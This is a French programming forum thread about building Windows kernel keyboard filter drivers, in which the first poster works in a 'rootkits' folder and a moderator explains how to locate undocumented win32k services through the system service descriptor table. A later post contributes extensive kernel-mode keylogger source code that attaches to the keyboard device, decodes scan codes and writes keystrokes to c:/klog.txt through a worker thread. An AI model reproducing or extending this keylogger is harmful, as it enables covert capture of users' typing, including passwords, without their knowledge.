Compilation driver windows

BloP68 Messages postés 31 Date d'inscription dimanche 5 décembre 2004 Statut Membre Dernière intervention 25 février 2009 - 10 avril 2007 à 14:16
jb212121 Messages postés 76 Date d'inscription mardi 6 avril 2004 Statut Membre Dernière intervention 22 décembre 2012 - 20 avril 2008 à 08:44
Bonjour,

Je suis actuellement en train de coder un driver, mais je me heurte a un probleme de compilation (je compile mes driver avec la commande build du DDK windows XP).
Il faut obligatoirement que je définnisse mes variable en début de chaque blocs. Pour mon code ca ne pose pas de probleme mais maintenant je doit faire appel a des API windows mais quand je lance la compile il me sort comme quoi il y a des erreurs dans les headers des librairie...:S
Est ce que quelqu'un pourrait m'aider s'il vous plait.

Merci d'avance.

17 réponses

racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
10 avril 2007 à 14:27
Salut,
La programmation de drivers sous Windows se fait en Kernel-Mode. C'est un univers à part. De quelles APIs tu parles? Normalement les seules APIs accessibles directement en Kernel-Mode sont celles de ntoskernel.exe. Montre-nous les messages d'erreurs affichés par le compilateur.
0
BloP68 Messages postés 31 Date d'inscription dimanche 5 décembre 2004 Statut Membre Dernière intervention 25 février 2009
10 avril 2007 à 14:38
Donc voila je souhaiterais utiliser dans mon driver des fonction windows permettant de gerer les Desktop (switch, ouvrir, fermer).
Merci pour ton aide.
Lorsque je lance la compilation je recois ces erreur(mais elle ne sont pas fonder car j'ai deja eu ce probleme avant d'inclure l'header "windows.h" dans mon code puis j'ai defini les variables en debut de bloc et plus de probleme :S) :

BUILD: Object root set to: ==> objchk
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: /i switch ignored
BUILD: Using 2 child processes
BUILD: Compile and Link for i386
BUILD: Loading C:\WINDDK\2600\build.dat...
BUILD: Computing Include file dependencies:
BUILD: Examining c:\winddk\rootkits\projet\test1 directory for files to compile.

    c:\winddk\rootkits\projet\test1 - 1 source files (179 lines)
BUILD: Compiling c:\winddk\rootkits\projet\test1 directory
1>Compiling - test1.c for i386
1>c:\winddk\2600\inc\crt\winuser.h(59) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(59) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(59) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(63) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(63) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(63) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(64) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(64) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(64) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(65) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(65) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(65) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(65) : error C2122: 'int' : prototype paramete
r in name list illegal
1>c:\winddk\2600\inc\crt\winuser.h(66) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(66) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(66) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2146: syntax error : missing ')'
 before identifier 'wParam'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2144: syntax error : ''
 should be preceded by ''
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2144: syntax error : ''
 should be preceded by ''
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2143: syntax error : missing ')'
 before 'identifier'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2081: 'WPARAM' : name in formal
parameter list illegal
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2061: syntax error : identifier
'wParam'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2059: syntax error : ';'
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2059: syntax error : ','
1>c:\winddk\2600\inc\crt\winuser.h(67) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(68) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(68) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(68) : error C2059: syntax error : ')'
1>c:\winddk\2600\inc\crt\winuser.h(70) : error C2143: syntax error : missing ')'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(70) : error C2143: syntax error : missing '{'
 before '*'
1>c:\winddk\2600\inc\crt\winuser.h(70) : error C2059: syntax error : ')'
(....)
1>c:\winddk\2600\inc\crt\winuser.h(216) : error C2061: syntax error : identifier
 'wvsprintfW'
1>c:\winddk\2600\inc\crt\winuser.h(216) : error C2059: syntax error : ';'
1>c:\winddk\2600\inc\crt\winuser.h(217) : error C2059: syntax error : 'type'
1>c:\winddk\2600\inc\crt\winuser.h(229) : error C2061: syntax error : identifier
 'wsprintfA'
1>c:\winddk\2600\inc\crt\winuser.h(229) : error C2059: syntax error : ';'
1>c:\winddk\2600\inc\crt\winuser.h(230) : error C2059: syntax error : 'type'
1>c:\winddk\2600\inc\crt\winuser.h(236) : error C2061: syntax error : identifier
 'wsprintfW'
1>c:\winddk\2600\inc\crt\winuser.h(236) : error C2059: syntax error : ';'
1>c:\winddk\2600\inc\crt\winuser.h(237) : error C2059: syntax error : 'type'
1>c:\winddk\2600\inc\crt\winuser.h(698) : error C2061: syntax error : identifier
 'HWND'
1>c:\winddk\2600\inc\crt\winuser.h(699) : error C2059: syntax error : '}'
1>c:\winddk\2600\inc\crt\winuser.h(706) : error C2061: syntax error : identifier
 'HWND'
1>c:\winddk\2600\inc\crt\winuser.h(706) : error C1003: error count exceeds 100;
stopping compilation
BUILD: Compile errors: not linking c:\winddk\rootkits\projet\test1 directory
BUILD: Done

    2 files compiled - 102 Errors

Merci pour ton aide.
0
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
10 avril 2007 à 15:10
Les fonctions de winuser.h ne sont pas faites pour être utilisées dans un driver. Elles sont réservées au User-Mode. Elles ne sont là que pour servir de prototypes en cas de besoin. On peut utiliser les APIs natives de ntdll.dll. Toutes les APIs User-Mode passent par celles de cette dll. Si tu peux montrer ton code ce sera plus facile.
Je repasserai ce soir pour voir.
0
BloP68 Messages postés 31 Date d'inscription dimanche 5 décembre 2004 Statut Membre Dernière intervention 25 février 2009
10 avril 2007 à 17:53
Donc euh voila ca c'est une partie du code, le programme est un hook du clavier(il test si une touche est appeler puis apres il appelle ma fonction):(je sais qu'il y a moyen de faire des hook autrement que par un driver :D)

NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath )
{
    ...
    pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead ;
    ...
}

NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
    ...  
    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
    ...
    //si c'est la bonne touche on appelle la fonction
    SSwitch();
    //sinon on passe
    ...
    if(pIrp->PendingReturned)
        IoMarkIrpPending(pIrp);
    return pIrp->IoStatus.Status;
}

VOID SSwitch()
{
    HWINSTA proc_ws;
    char desk_s[15];
    char desk_d[15];
    HDESK hdesk_s;
    HDESK hdesk_d;
   
    DbgPrint("Switch Deskstop");
    proc_ws = GetProcessWindowStation();
   
    if(Desk_S == 0) //si on est sur le bureau par defaut
    {
        sprintf(desk_s, "Bureau");
        hdesk_s = OpenDesktop(desk_s, DF_ALLOWOTHERACCOUNTHOOK, FALSE, GENERIC_ALL);
        SwitchDesktop(hdesk_s);
        CloseDesktop(hdesk_s);
        Desk_S == 1;
    }
    else if(Desk_S== 1) //si on est sur Bureau
    {
        sprintf(desk_d, "Default");
        hdesk_d= OpenDesktop(desk_d, DF_ALLOWOTHERACCOUNTHOOK, FALSE, GENERIC_ALL);
        SwitchDesktop(hdesk_d);
        CloseDesktop(hdesk_d);
    }
    else
        DbgPrint("Erreur dans le switch de desktop...Veuillez redemarrer le driver....");
}

Voila j'espere que ce morceau de code va pouvoir t'aider...
Je te remercie d'avance.
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
11 avril 2007 à 02:52
Je parlais d'un code que je peux coller directement chez moi pour le tester et essayer de trouver les causes des erreurs.
0
BloP68 Messages postés 31 Date d'inscription dimanche 5 décembre 2004 Statut Membre Dernière intervention 25 février 2009
11 avril 2007 à 11:15
Désoler j'avais pas compris.

Alors voila je te dépose le code complet que tu puisse le compiler.

//MAKEFILE
#
# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the driver components of the Windows NT DDK
#

!INCLUDE $(NTMAKEENV)\makefile.def

<hr size= "2" width="100%" /> //SOURCES
TARGETNAME =TEST1
TARGETPATH= OBJ
TARGETTYPE=DRIVER
INCLUDES=..\..\inc
TARGETLIBS=$(DDK_LIB_PATH)\user32.lib
TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib
SOURCES=test1.c
<hr size="2" width="100%" /> //test1.h
typedef struct _DEVICE_EXTENSION
{
    PDEVICE_OBJECT pKeyboardDevice; //pointer to next keyboard device on device stack
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

//Fonction methode
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp);
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context);
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp);
VOID OnUnload( IN PDRIVER_OBJECT DriverObject );
VOID S_Switch();
<hr size ="2" width= "100%" /> //test1.c
#include "ntddk.h"
#include "ntddkbd.h"
#include "winuser.h"
#include "test1.h"

int numPendingIrps = 0;
BOOLEAN DeskS = 1;

VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
    KTIMER kTimer;
    LARGE_INTEGER  timeout;
   
    DbgPrint("OnUnload");
    pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
    IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
    DbgPrint("Keyboard hook detached from device...\nWaiting tagged irp die");
    timeout.QuadPart = 1000000; //.1 s
    KeInitializeTimer(&kTimer);
   
    while(numPendingIrps > 0)
    {
        //Set the timer
        KeSetTimer(&kTimer,timeout,NULL);
        KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE ,NULL);
    }
   
    IoDeleteDevice(pDriverObject->DeviceObject);
    DbgPrint("Tagged IRPs dead...Terminating...\n");
}

NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
    DbgPrint("DispatchPassDown");
    IoSkipCurrentIrpStackLocation(pIrp);
    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
    int i;
    PKEYBOARD_INPUT_DATA keys;
    int numKeys;
   
    DbgPrint("OnReadCompletion");
    pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
   
    if(pIrp->IoStatus.Status == STATUS_SUCCESS)
    {
        keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
        numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

        for(i = 0; i < numKeys; i++)
        {           
            if(keys[i].Flags == KEY_BREAK)
            {
                DbgPrint("%s\n","Key Up");
                if(keys[i].MakeCode == 0x38)
                {
                    DbgPrint("LAlt Release");
                    S_Switch();
                }
            }
        }
    }
    if(pIrp->PendingReturned)
        IoMarkIrpPending(pIrp);
    numPendingIrps--;
   
    return pIrp->IoStatus.Status;
}

NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
    PIO_STACK_LOCATION currentIrpStack;
    PIO_STACK_LOCATION nextIrpStack;
    DbgPrint("DispatchRead");
    currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
    nextIrpStack = IoGetNextIrpStackLocation(pIrp);
    *nextIrpStack = *currentIrpStack;
    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
    numPendingIrps++;
   
    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath )
{
    int i;
    PDEVICE_OBJECT pKeyboardDeviceObject;
    NTSTATUS status;
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
    CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
    STRING ntNameString;
    UNICODE_STRING uKeyboardDeviceName;
   
    DbgPrint("Driver Loaded");
    pDriverObject->DriverUnload = OnUnload;
   
    for( i = 0 ; i < IRP_MJ_MAXIMUM_FUNCTION; i++ )
        pDriverObject->MajorFunction[i] = DispatchPassDown;
   
    pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
   
    status = IoCreateDevice( pDriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, TRUE, &pKeyboardDeviceObject);
    if(!NT_SUCCESS(status))
        return status;
   
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
   
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
   
    pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
   
    RtlInitAnsiString(&ntNameString, ntNameBuffer);
    RtlAnsiStringToUnicodeString(&uKeyboardDeviceName, &ntNameString, TRUE);
    IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName, &pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(&uKeyboardDeviceName);
    DbgPrint("Clavier Hooker");
   
    return STATUS_SUCCESS;
}

VOID S_Switch()
{
    HWINSTA proc_ws;
    char desk_s[15];
    char desk_default[15];
    HDESK hdesk_s;
    HDESK hdesk_default;
   
    DbgPrint("Switch Deskstop");
    proc_ws = GetProcessWindowStation();
   
    if(DeskS == 0) //si on est sur le bureau par defaut
    {
        sprintf(desk_s, "desk");
        hdesk_s = OpenDesktop(desk_s, DF_ALLOWOTHERACCOUNTHOOK, FALSE, GENERIC_ALL);
        SwitchDesktop(hdesk_s);
        CloseDesktop(hdesk_s);
        desk_s = 1;
    }
    else if(DeskS == 1)
    {
        sprintf(desk_default, "Default");
        hdesk_default = OpenDesktop(desk_default, DF_ALLOWOTHERACCOUNTHOOK, FALSE, GENERIC_ALL);
        SwitchDesktop(hdesk_default);
        CloseDesktop(hdesk_default);
    }
    else
        DbgPrint("Erreur dans le switch de desktop...Veuillez redemarrer le driver....");
}
0
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
11 avril 2007 à 20:24
Salut,
Je viens de tester ton code chez moi. J'ai exactement les mêmes erreurs. Il parait que winuser.h n'est pas fait pour être inclus dans un projet en kernel-mode. Ou bien il faudra une sorte de #define pour pouvoir l'inclure. Toutes les erreurs signalées par le compilateur se trouvent dans winuser.h alors qu'il est parfaitement correct.
Personnellement, pour travailler en kernel-mode je ne fais appel qu'aux fonctions et aux services fournis par le système. Je remplacerai les APIs utilisées dans ta fonction S_Swith() par les services correspondant du système:
NtUserGetProcessWindowStation()
NtUserOpenDesktop()
NtUserSwitchDesktop()
NtUserCloseDesktop()
Je viens de voir que ce sont des services implémentés dans w32k.sys et accessibles depuis la table des services système (SSDT) et donc accessibles si on connait leurs IDs. Malheureusement, ils ne sont pas documentés. Leurs IDs peuvent changer selon la version Windows et même selon le service pack. En cherchant un peu sur le net, et avec quelques tests, tu finiras par résoudre ce problème. Je ne peux pas tester pour toi car il y'a risque d'avoir de nombreux plantages et redémarrage du PC.
Il faudra donc virer winuser.h de tes incldes. HWINSTA et HDESK sont des simples HANDLES qui sont en réalités des PVOIDs.
J'essaierai plutard de te trouver les prototypes des services listés plus haut.
0
BloP68 Messages postés 31 Date d'inscription dimanche 5 décembre 2004 Statut Membre Dernière intervention 25 février 2009
11 avril 2007 à 20:47
Oakay ca marche je vais regarder..ca...Je te remerci de ton aide. J'avais aussi essayer de chercher des fcontion similaire en mode kernel mais j'avais pas trouver mais maintenant que tu les as trouver un tour de google et je devrais peux être trouver...:D

Merci.
0
BloP68 Messages postés 31 Date d'inscription dimanche 5 décembre 2004 Statut Membre Dernière intervention 25 février 2009
11 avril 2007 à 21:51
Tien je vien de trouver la liste des syscall des fonctions.
http://inside.iatp.org.ua/Calllist.html
Est ce que tu pourrais juste m'expliquer comment les utiliser. Car les drivers windows c'est deja a la limite de mes connaissance mais alors là je commence à être completement perdu j'ai très envie d'apprendre mais dès qu'on pousse un peux dans des sujet complex on trouve plus beaucoup de documentation sur internet alors si tu aurais des sources des liens. Et si deja pour commencer tu pouvais me dire comment utiliser les syscall pour que je puisse tenter de finir la 1ere version de mon prog que je puisse ensuite continuer a apprendre tout ca. Je te remercie d'avance.
0
BloP68 Messages postés 31 Date d'inscription dimanche 5 décembre 2004 Statut Membre Dernière intervention 25 février 2009
11 avril 2007 à 21:59
0
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
12 avril 2007 à 22:28
Voici les prototypes des fonctions:

HANDLE NtUserGetProcessWindowStation(void);
HANDLE  NtUserOpenDesktop( PUNICODE_STRING , ULONG ,ACCESS_MASK );
ULONG  NtUserSwitchDesktop(HANDLE);
ULONG  NtUserCloseDesktop(HANDLE);

Voici comment définir leurs types de pointeurs:
typedef HANDLE (*GETPROCESSWINDOWSTATION)(void);
typedef HANDLE (*OPENDESKTOP)(PUNICODE_STRING, ULONG, ACCESS_MASK);
typedef ULONG (*SWITCHDESKTOP)(HANDLE);
typedef ULONG (*CLOSEDESKTOP) (HANDLE);

Voici comment les déclarer:
GETPROCESSWINDOWSTATION NtUserGetProcessWindowStation;
OPENDESKTOP NtUserOpenDesktop;
SWITCHDESKTOP NtUserSwitchDesktop;
CLOSEDESKTOP NtUserCloseDesktop;

Pour trouver l'adresse d'un service système à partir de son ID, on utilise le symbole KeServiceDescriptorTable exporté par ntoskernel.exe. Ce symbole correspond à une structure pointant vers la SSDT. Un exemple:
#include "ntddk.h"
//..
typedef struct ServiceDescriptorEntry {
  ULONG *ServiceTableBase;
  ULONG *ServiceCounterTableBase;
  ULONG NumberOfServices;
  UCHAR *ParamTableBase;
} ServiceDescriptorTableEntry;

__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;

Dans le DriverEntry par exemple on fait:
NtUserOpenDesktop=(OPENDESKTOP) KeServiceDescriptorTable.ServiceTableBase[SERVICE_ID];

Puisque je n'ai jamais utilisé les services de win32k.sys, je ne sais pas comment appliquer cette méthode pour récupérer leurs adresses. Si je trouve comment faire, je te montrerai.
Si tu réussis à trouver la solution, ça m'intéresse aussi.
0
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
12 avril 2007 à 22:57
Voici un article ancien mais intéressant:
http://www.windowsitlibrary.com/Content/356/07/1.html
0
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
12 avril 2007 à 23:31
Je viens d'apprendre que les services de win32k.sys se trouvent dans KeServiceDescriptorTableShadow. Je cherche comment l'utiliser.
0
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
12 avril 2007 à 23:43
Voici un article montrant comment obtenir l'adresse de KeServiceDescriptorTableShadow
http://www.volynkin.com/sdts.htm

Je testerai quand j'aurai du temps.
0
Aumenov Messages postés 9 Date d'inscription dimanche 23 décembre 2007 Statut Membre Dernière intervention 13 janvier 2008 4
8 janv. 2008 à 22:28
Salut,

Je suis en train de dévélopper un keylogger. Je me suis largement inspirer de ce code. Je n'ai pas de problème de compilation mais j'ai un bug que j'arrive pas à résoudre...
Mon bug est le suivant: la fonction dispatchRead est appellée DEUX fois pour une SEULE frappe clavier. Du coup, la variable numPendingIrps est incrémentée d'un cran de trop à chaque frappe clavier. Ainsi, quand on souhaite arreter le driver donc quand on appelle la fonction Unload cette variable a la valeur "1" (car DispatchRead est appellée un fois de trop), donc la boucle while de la fonction Unload est infinie puisque la condition est toujours fausse (numPendingIrps != 0, car incrémentée d'une fois de trop à cause de l'appel de trop de DispatchRead).  Pour pouvoir sortir de cette boucle, il faut appyer sur une touche quelconque pour que la fonction OnReadCompletion soit appellée et donc numPendingIrps soit décrémentée et c'est ainsi qu'on sort de la boucle et la fonction Unload se termine.

Compiler mon code avec DKK. Pour lancer le .sys vous pouvez utiliser kmdManager et pour afficher les traces DebugView.
Un cas simple vous permettant de voir que DispatchRead est appellée deux fois au lieu d'une seule, lancez le driver et debugView et appuyez sur une SEULE touche (une lettre) vous aller voir que cette fonction est appellée deux fois!

Je vous joins mon code. J'ai ajouté du code pour pouvoir écrire les frappes claviers dans le fichier c:/klog.txt.
Mais attention pour tester ce code n'utiliser que les touches correspondant aux lettres de l'alphabet: pour l'instant mon keylogger gère que la lettre de l'alphabet pour le reste des touches il les traduit par "-".

Je compte beaucoup sur ceux qui ont de l'expérience dans ce domaine car ça fait un moment que j'essaye de corriger ce bug maintenant mais en vain...

Mon code:
#################keylogger.c################
include <ntddk.h>
#include <string.h>
#include "keysLoggerComments.h"

int numPendingIrps = 0;

//The Unload routine performs any operations that are necessary before the system unloads the driver
VOID Unload( IN PDRIVER_OBJECT pDriverObject){

  KTIMER  kTimer;
  LARGE_INTEGER timeout;
       
    // Get the pointer to the device extension.
  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
  DbgPrint(".....Driver Unload Called.....\n");

    // Detach from the device underneath that we're hooked to.
      IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
    DbgPrint("Keyboard hook detached from device\n");

    // Create a timer.
  timeout.QuadPart = 1000000;// .1 s
  KeInitializeTimer(&kTimer);
   
  while(numPendingIrps > 0){
   // Set the timer.
   KeSetTimer(&kTimer,timeout,NULL);
   KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
  }

    // Set our key logger worker thread to terminate.
  pKeyboardDeviceExtension->bThreadTerminate = 1;
    // Wake up the thread if its blocked & WaitForXXX after this call.
  KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);

    // Wait until the worker thread terminates.
  DbgPrint("Waiting for key logger thread to terminate\n");
  KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,Executive,KernelMode,FALSE,NULL);
  DbgPrint("Key logger thread terminated\n");
    // Close the log file.
  ZwClose(pKeyboardDeviceExtension->hLogFile);

    // Delete the device.
  IoDeleteDevice(pDriverObject->DeviceObject);
  DbgPrint("Tagged IRPs dead...Terminating\n");
 
  //The end
  DbgPrint("..... Driver Unload finished.....\n");
  return;
}

// IRP -> I/OManager
NTSTATUS IODispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp){
   Irp->IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(Irp,IO_NO_INCREMENT);
   return STATUS_SUCCESS;
}

//This function is to be improved
VOID ConvertScanCodeToKeyCode(USHORT KeyData, char* keys){
   
    //DbgPrint("..... ConvertScanCodeToKeyCode.....\n");   
    switch (KeyData){
   
        case (0x10):
              strcpy (keys, "a");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x11):
              strcpy (keys, "z");
             DbgPrint(" keys: %s\n", keys);
              break;
              
         case (0x12):
              strcpy (keys, "e");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x13):
              strcpy (keys, "r");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x14):
              strcpy (keys, "t");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x15):
              strcpy (keys, "y");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x16):
              strcpy (keys, "u");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x17):
              strcpy (keys, "i");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x18):
              strcpy (keys, "o");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x19):
              strcpy (keys, "p");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x1e):
              strcpy (keys, "q");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x1f):
              strcpy (keys, "s");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x20):
              strcpy (keys, "d");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x21):
              strcpy (keys, "f");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x22):
              strcpy (keys, "g");
             DbgPrint(" keys: %s\n", keys);
              break;     
         case (0x23):
              strcpy (keys, "h");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x24):
              strcpy (keys, "j");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x25):
              strcpy (keys, "k");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x26):
              strcpy (keys, "l");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x27):
              strcpy (keys, "m");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2c):
              strcpy (keys, "w");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2d):
              strcpy (keys, "x");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2e):
              strcpy (keys, "c");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2f):
              strcpy (keys, "v");
             DbgPrint(" keys: %s\n", keys);
              break;                         
         case (0x30):
              strcpy (keys, "b");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x31):
              strcpy (keys, "n");
             DbgPrint(" keys: %s\n", keys);
              break;
       
        default:
            strcpy (keys, "-");
    }
        //DbgPrint(".....ConvertScanCodeToKeyCode.....\n");        
}

VOID ThreadKeyLogger(IN PVOID pContext){
 
   
    char  keys[1];// this array will contain the key code.
    PLIST_ENTRY pListEntry;
    KEY_DATA * kData; // a data structure used to hold scancodes in the linked list
       
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
    PDEVICE_OBJECT pKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

    //DbgPrint(".....ThreadKeyLogger.....\n"); 
                  
      //The code waits for the semaphore using KeWaitForSingleObject.
      //If the semaphore is incremented, the processing loop knows to continue                
      while(TRUE){
           // Wait for data to become available in the queue.
           KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
   
           //The topmost item is removed safely from the linked list.
           pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,&pKeyboardDeviceExtension->lockQueue);

           if(pKeyboardDeviceExtension->bThreadTerminate == 1){
         PsTerminateSystemThread(STATUS_SUCCESS);
         }
   
          //The CONTAINING_RECORD macro returns the base address of the structure containing the field ListEntry.
          kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
        //DbgPrint("the kData->KeyData is : %x\n",kData->KeyData);
        // Convert the scan code to a key code.
          ConvertScanCodeToKeyCode(kData->KeyData,keys);

        if(TRUE/*keys != 0*/){
        // Write the data out to a file.
               if(pKeyboardDeviceExtension->hLogFile != NULL){
                   IO_STATUS_BLOCK io_status;
                NTSTATUS status = ZwWriteFile(
                                    pKeyboardDeviceExtension->hLogFile,
                                    NULL,
                                    NULL,
                                    NULL,
                                        &io_status,
                                     &keys,
                                    strlen(keys),
                                    NULL,
                                         NULL);

                 if(status != STATUS_SUCCESS){
                     ;
                    //DbgPrint("Writing scan code to file failed!\n");
                 }
                else  ;
                    //DbgPrint("Scan code '%s' successfully written to the log file.\n",keys);
        
            }// end if
        }// end if
    }// end while
 
      //DbgPrint(".....ThreadKeyLogger finished.....\n");
      return;
}// end ThreadLogKeyboard

